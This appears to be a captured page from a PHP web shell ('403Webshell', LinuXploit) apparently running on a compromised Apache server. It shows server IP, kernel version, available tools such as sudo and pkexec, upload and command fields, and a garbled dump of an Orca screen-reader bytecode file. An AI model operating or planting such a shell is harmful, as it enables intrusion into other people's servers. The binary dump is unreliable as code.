403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyo
Ñò
y#ÝJc@s‹dZdZdZdZdZdZddkZddkiZddk	i
Z
ddklZdd	kl
Z
d
e
ifd„ƒYZdS(sÀCustom script for Gecko toolkit.
Please refer to the following URL for more information on the AT-SPI
implementation in Gecko:
http://developer.mozilla.org/en/docs/Accessibility/ATSPI_Support
s$Id$s
$Revision$s$Date$s-Copyright (c) 2005-2009 Sun Microsystems Inc.tLGPLiÿÿÿÿN(t_(tngettexttSpeechGeneratorcBs•eZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„Zd„Z
d„Zd
„Zd„Zd„ZRS(s3Provides a speech generator specific to Gecko.
    cCstii||ƒdS(N(tspeech_generatorRt__init__(tselftscript((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyR4sc
	Ks-g}|id|iƒƒ}|tijoíd}x/|D]'}|iƒtijo|}Pq;q;W|oªd}y<|iƒidƒ}|pti	i
|||}nWn<x6|D]*}|iƒiti
ƒo|}Pq¼q¼WnX|o|io|i|iƒqq:n |iti	i|||ƒ|o-|tijo|i|ii|ƒƒnd}|tijo
|}nA|tijo0|o(|ii|tigtigƒ}n|oS|pt|diƒƒdjo.|ii|ƒ}	|	o|i|	ƒq)n|S(Ntrolei(tgettgetRoletpyatspitROLE_COMBO_BOXtNonet	ROLE_MENUtquerySelectiontgetSelectedChildRRt_generateDisplayedTexttgetStatetcontainstSTATE_SELECTEDtnametappendtextendt
_generateNametROLE_LIST_ITEMt_scriptt
expandEOCst	ROLE_LINKt
ROLE_IMAGEtgetAncestortROLE_DOCUMENT_FRAMEtlentstriptgetLinkBasename(
RtobjtargstresultRtmenutchildtitemtlinktbasename((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyR7sP		

	,cKs€|id|iƒƒtijoB|iiƒtijo)|i||}|itdƒƒnt	i
i|||}|S(sÚReturns an array of strings (and possibly voice and audio
        specifications) that represent the description of the object,
        if that description is different from that of the name and
        label.
        Rsimage map link(R	R
RRtparentRRRRRRt_generateDescription(RR#R$R%((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyR,qs"	c	Kstii|||}|id|iƒƒ}t|ƒo|tititi	ti
tititi
tigjoR|iiƒoB|ii|ƒo.|ii|ƒ}|o|i|ƒqÍnt|ƒo5|tijo%|iiƒo|i|iƒn|S(NR(RRt_generateLabelR	R
R RtROLE_CHECK_BOXRt
ROLE_ENTRYt	ROLE_LISTtROLE_PARAGRAPHtROLE_PASSWORD_TEXTtROLE_RADIO_BUTTONt	ROLE_TEXTRtinDocumentContenttisAriaWidgett
guessTheLabelRR(RR#R$R%Rtlabel((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyR-‡s.		cKshg}|id|iƒƒ}|tijo|ii|ƒon |itii	|||ƒ|S(NR(
R	R
RR3RtgetDisplayedLabelRRRt_generateLabelAndName(RR#R$R%R((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyR:¨s	cKsbg}|iiƒtijo |i|i|i|ƒn |itii|||ƒ|S(N(R+R
RtROLE_AUTOCOMPLETERt_generateLabelOrNameRR(RR#R$R%((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyR<¸s c
Ksžg}|id|iƒƒ}|idtƒ}|iƒitiƒp@|ii|ti	gti
gƒ}|o|i||Sn|p.titi
titititig}n
tig}|ox|ii|ƒoe|itiƒ|ii|ƒo=|iddƒdjo$|itiƒ|itiƒqJn||joC|tijoI|ii|tigti
gƒ}|o|iti|ƒƒq°n|tijok|ii|ƒ}	|	o5|itdƒhti||ƒd6|	d6ƒqD|iti||ƒƒn|iti||ƒƒ|tijoB|io8|diƒtijo|iti|dƒƒqšn|S(	s&Prevents some roles from being spoken.Rtforcet
formatTypet	unfocusedt
basicWhereAmIs%(role)s level %(level)dtleveli( R	R
tFalseRRRt
STATE_FOCUSEDRRRRt_generateRoleNamet	ROLE_FORMt
ROLE_LABELtROLE_MENU_ITEMR1tROLE_SECTIONtROLE_UNKNOWNR5RtROLE_TABLE_CELLR6RR0RRt	rolenamestgetSpeechForRoleNametROLE_HEADINGtgetHeadingLevelRt
childCount(
RR#R$R%RR=tcomboBoxt
doNotSpeakR)RA((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyRDÅsT	
	$"cKs4g}|ii|ƒ}|o|i|ƒn|S(s>Returns the expanded embedded object characters for an object.(RRR(RR#R$R%ttext((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyt_generateExpandedEOCss
cKsxg}|id|iƒƒ}|tijo'|itdd|iƒ|iƒn |iti	i
|||ƒ|S(NRsList with %d itemsList with %d items(R	R
RR0RRRORRRt_generateNumberOfChildren(RR#R$R%R((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyRTs	c	Ksàg}|id|iƒƒ}|tijo®d}|iƒ}x6t|iƒD]%}|i|ƒo||}PqPqPW|p|d}|oG|i	||}|o*||i
||jo|i|ƒqØqÜn|S(NRi(R	R
RR0R
RtxrangeROtisChildSelectedRR-R(	RR#R$R%RR(t	selectiontiR((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyt_generateFocusedItem"s 
	 cKs:g}|iddƒ}|ii||ƒ}||jo|Stititititi	g}ti
tig}|iddƒdjo|itiƒnti
tig}|i}	xl|	od|	i|	joT|	iƒ}
|ii|	|ƒp
|
|joPn|
|jp|ii|	ƒo|	i}	qÀn|
tijo)|	iiƒtijo|	i}	qÀn|ii|	ƒ}|oe|iddƒidƒ}|ii|jo3t|ƒdjp|
ti
jo|	i}	qÀqòn|ii|	ƒ}
|ii|	ƒ}g}|
oB|
|jo5t|
iƒƒo"|
id	ƒo|i|
ƒn|o$t|iƒƒo|i|ƒn|
|jo't|ƒo|iti|	ƒƒn|i |i!|	|ƒ|i |ƒ|iddƒdjo|	iƒtijoPn|	i}	qÀW|i"ƒ|S(
NtpriorObjR>R?R@iiÿÿÿÿsUTF-8is	chrome://(#R	R
RtfindCommonAncestorRRIt
ROLE_MENU_BARRFR;RRtROLE_INTERNAL_FRAMERRJtROLE_FILLERR+R
tisSameObjecttisLayoutOnlyRRtqueryNonEmptyTexttgetTexttdecodetEMBEDDED_OBJECT_CHARACTERR tgetDisplayedTextR9R!t
startswithRKRLRt_generateRequiredtreverse(RR#R$R%RZtcommonAncestort	skipRolest	stopRolestdontSpeakRolesR+Rt
parentTexttunicodeTextRRR8t	newResult((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyt_generateAncestors3sp

	
 			'

cKsB|ii|ƒo|ii|ƒogStii|||S(sÑReturns an array of strings (and possibly voice and audio
        specifications) that represent the default button in a dialog.
        This method should initially be called with a top-level window.
        (RR5R6RRt_generateDefaultButton(RR#R$((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyRq­s
	cKs|iii||S(szReturns an array of strings (and possibly voice and audio
        specifications) that represent the live region.
        (RtliveMngrtgenerateLiveRegionDescription(RR#R$((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyt_generateLiveRegionDescription¹sc
Ksg}|ii|ƒ\}}}}}}	|o!|itdd|ƒ|ƒn|o!|itdd|ƒ|ƒn|o!|itdd|ƒ|ƒn|o!|itdd|ƒ|ƒn|o!|itd	d
|ƒ|ƒn|	dj	o|itdƒ|	ƒn|S(
sŸReturns an array of strings (and possibly voice and audio
        specifications) that summarize the objects found on the page
        containing obj.
        s
%d headings%d headingss%d forms%d formss%d tables	%d tabless%d visited links%d visited linkss%d unvisited links%d unvisited linkss%d percent of document readN(RtgetPageSummaryRRR
R(
RR#R$R%theadingstformsttablestvlinkstuvlinkstpercent((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyt_generatePageSummaryÀs$$	!!		
cKs·g}|iddƒdjoX|ii|ƒoE|id|ƒ}|itii|||ƒ|i||ƒn=|ii	|ƒ|d<|itii|||ƒ|d=|S(NR>R?tdetailedWhereAmItdefaulttuseDefaultFormatting(
R	RR5t
_overrideRoleRRRtgenerateSpeecht_restoreRoleR6(RR#R$R%toldRole((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyRîs(t__name__t
__module__t__doc__RRR,R-R:R<RDRSRTRYRpRqRtR|R(((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyR.s 		:		!		
	F				z			.(R†t__id__t__version__t__date__t
__copyright__t__license__Rtorca.rolenamesRKtorca.speech_generatorRtorca.orca_i18nRRR(((sP/usr/lib/python2.6/site-packages/orca/scripts/toolkits/Gecko/speech_generator.pyt<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit